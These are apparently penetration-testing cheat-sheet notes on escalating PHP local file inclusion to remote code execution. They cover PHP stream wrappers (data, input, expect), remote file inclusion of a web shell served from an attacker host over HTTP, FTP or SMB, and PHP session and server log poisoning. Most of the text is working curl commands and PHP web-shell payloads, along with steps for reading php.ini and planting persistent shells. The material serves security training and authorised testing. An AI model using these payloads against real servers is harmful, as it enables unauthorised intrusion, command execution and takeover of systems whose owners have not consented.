RCE
PHP Wrappers
allow_url_include
The data and input wrappers depend on the PHP configuration allow_url_include
(disabled by default). The PHP config file is under:
/etc/php/X.Y/apache2/php.ini
for Apache/etc/php/X.Y/fpm/php.ini
for Nginx
# Using LFI & the PHP filter to read the configuration file
curl "http://<SERVER_IP>:<PORT>/index.php?language=php://filter/read=convert.base64-encode/resource=../../../../etc/php/7.4/apache2/php.ini"
# Searching for the allow_url_include option
echo 'W1BIUF0KCjs7Ozs7Ozs7O...SNIP...4KO2ZmaS5wcmVsb2FkPQo=' | base64 -d | grep allow_url_include
Data
The data wrapper can be used to include external data.
# Encoding a basic PHP web shell (base64 -> URL)
echo '<?php system($_GET["cmd"]); ?>' | base64 | jq -sRr @uri
# Using the data wrapper to decode the string and get RCE
curl -s 'http://<SERVER_IP>:<PORT>/index.php?language=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8%2BCg%3D%3D&cmd=id' | grep uid
Input
The difference between the input and the data wrapper is that for the former, the vulnerable parameter must also accept POST
requests. If the function only accepts POST
requests, we can create a static webshell by putting the command directly within the PHP code.
# Getting RCE with the input wrapper (GET & POST)
curl -s -X POST --data '<?php system($_GET["cmd"]); ?>' "http://<SERVER_IP>:<PORT>/index.php?language=php://input&cmd=id" | grep uid
# Getting RCE with the input wrapper (POST only)
curl -s -X POST --data '<?php system("id"); ?>' "http://<SERVER_IP>:<PORT>/index.php?language=php://input&cmd=id" | grep uid
Expect
The expect wrapper is an external wrapper, i.e., it need to be manually installed and enabled, which allows us to directly run command through URL streams. We can check if that is the case similarly to the allow_url_include
and grepping for expect.
# Checking if the except extension is installed
echo 'W1BIUF0KCjs7Ozs7Ozs7O...SNIP...4KO2ZmaS5wcmVsb2FkPQo=' | base64 -d | grep expect
extension=expect
# Getting RCE using expect
curl -s "http://<SERVER_IP>:<PORT>/index.php?language=expect://id"
RFI
If the vulnerable function allows the inclusion of remote URLs, then we can also perform a attack, which allows for gaining RCE by including a malicious script that we host and enumerating local-only ports.
PHP
include()
/include_once()
✅
✅
✅
file_get_contents()
✅
❌
✅
Java
import
✅
✅
✅
.NET
@Html.RemotePartial()
✅
❌
✅
include
✅
✅
✅
In the case that a function allows remote URLs but does not allow code execution, we can exploit the vulnerability to enumerate local ports through SSRF.
Identify
A reliable way to determine whether an LFI flaw is also an RFI one is to try and include a local URL (for ensuring that does not get blocked by security measures) and see if we can get its content.
<!-- Requesting a local URL -->
/index.php?language=http://127.0.0.1:80/index.php
If the index.php
page gets included and executed, i.e., rendered -> RFI + RCE.
RCE
HTTP
# Creating a webshell
echo '<?php system($_GET["cmd"]); ?>' > shell.php
# Serving the webshell via an HTTP server
sudo python3 -m http.server [80 | 443]
# RCE
curl http://<ip:port>/index.php?language=http://<attacker-ip:port>/shell.php&cmd=id
FTP
This may be useful in case HTTP ports are blocked or the http://
string gets blocked by a WAF. By default, PHP tries to authenticate as an anonymous user.
# Serving the webshell via an FTP server
sudo python -m pyftpdlib -p 21
# RCE
curl http://<ip:port>/index.php?language=ftp://<attacker-ip>/shell.php&cmd=id
# If authentication is required
curl 'http://<ip:port>/index.php?language=ftp://user:pass@localhost/shell.php&cmd=id'
SMB
Windows treats files on remote SMB servers as normal files, which can be referenced directly with a UNC path. This technique is more likely to work if we were on the same network, as accessing remote SMB servers over the internet may be disabled by default.
# Serving the webshell via an SMB server
impacket-smbserver -smb2support share $(pwd)
# RCE
curl http://<ip:port>/index.php?language=\\<attacker-ip>\share\shell.php&cmd=whoami
Log Poisoning
Writing PHP code in a field we control that gets logged into a log file
Including the log file to execute the PHP code.
The web application must have READ
privileges over the logged files.
PHP session poisoning
Most PHP web applications utilize PHPSESSID
cookies which are stored in session
files. The name of the file that contains our user's data matches the name of our PHPSESSID
cookie with the sess_
prefix. These are stored:
/var/lib/php/sessions/
on LinuxC:\Windows\Temp\
on Windows
Check if the PHPSESSID
session file contains any user-controller data. For instance, if our PHPSESSID
cookie's value is nhhv8i0o6ua4g88bkdl9u1fdsd
, we can include it via LFI.
# Including the log file
curl http://<ip:port>/index.php?language=/var/lib/php/sessions/sess_nhhv8i0o6ua4g88bkdl9u1fdsd

We can see that the session file contains two values:
page
-> shows the selected language page (not user-controlled)preference
-> shows the selected language (user-controlled via the?language=
parameter)
Modify the user-controlled parameter (language
) and see if it changes in the session file.
# Modifying the language parameter
curl http://<SERVER_IP>:<PORT>/index.php?language=session_poisoning
# Checking the session file
http://<ip:port>/index.php?language=/var/lib/php/sessions/sess_nhhv8i0o6ua4g88bkdl9u1fdsd

# Poisoning the log with a URL-encoded PHP webshell
curl http://<SERVER_IP>:<PORT>/index.php?language=%3C%3Fphp%20system%28%24_GET%5B%22cmd%22%5D%29%3B%3F%3E
# Including the file for RCE
curl http://<ip:port>/index.php?language=/var/lib/php/sessions/sess_nhhv8i0o6ua4g88bkdl9u1fdsd&cmd=id
To execute another command, the session file has to be poisoned with the web shell again, as it gets overwritten with /var/lib/php/sessions/sess_nhhv8i0o6ua4g88bkdl9u1fdsd
after our last inclusion. Ideally, we would use the poisoned web shell to write a permanent web shell to the web directory, or send a reverse shell for easier interaction.
Server log poisoning
Logs tend to be huge, and loading them in through an LFI may take a while to read, or even crash the server.
Both Apache
and Nginx
maintain various log files, such as access.log
and error.log
. The access.log
file contains various information about all requests made to the server, including each request's User-Agent
header. As we can control the User-Agent
header in our requests, we can use it to poison the server logs as we did above.
Once poisoned, we need to include the logs through the LFI vulnerability, and for that we need to have read-access over the logs.
Apache
/var/log/apache2
, C:\xampp\apache\logs
High privileged users
Nginx
/var/log/nginx
, C:\nginx\log
Low privileged users
In older or misconfigured Apache servers these logs may be readable by low-privileged users. In addition, the logs may be in a different location in some cases, so we may use an LFI Wordlist to fuzz for their locations.
# Including apache2's log file
curl http://<ip:port>/index.php?language=/var/log/apache2/access.log
# Poisoning User-Agent (-A)
curl -s "http://<ip:port>/index.php" -A "<?php system($_GET['cmd']); ?>"



The User-Agent
header is also shown on process files under the Linux /proc/
dir. So, we can try including the /proc/self/environ
or /proc/self/fd/N
files (where N
is a PID
usually between 0-50), and we may be able to perform the same attack on these files. This might be useful in case we don't have read access over the server logs, however, these files may only be readable by privileged users as well.
Finally, there are other similar log poisoning techniques that we may utilize on various system logs, depending on which logs we have read access over. The following are some of the service logs we may be able to read:
/var/log/sshd.log
/var/log/mail
/var/log/vsftpd.log
We should first attempt reading these logs through LFI, and if we do have access to them, we can try to poison them as we did above. For example, if the ssh
or ftp
services are exposed to us, and we can read their logs through LFI, then we can try logging into them and set the username to PHP code, and upon including their logs, the PHP code would execute. The same applies the mail
services, as we can send an email containing PHP code, and upon its log inclusion, the PHP code would execute. We can generalize this technique to any logs that log a parameter we control and that we can read through the LFI vulnerability.
Last updated
Was this helpful?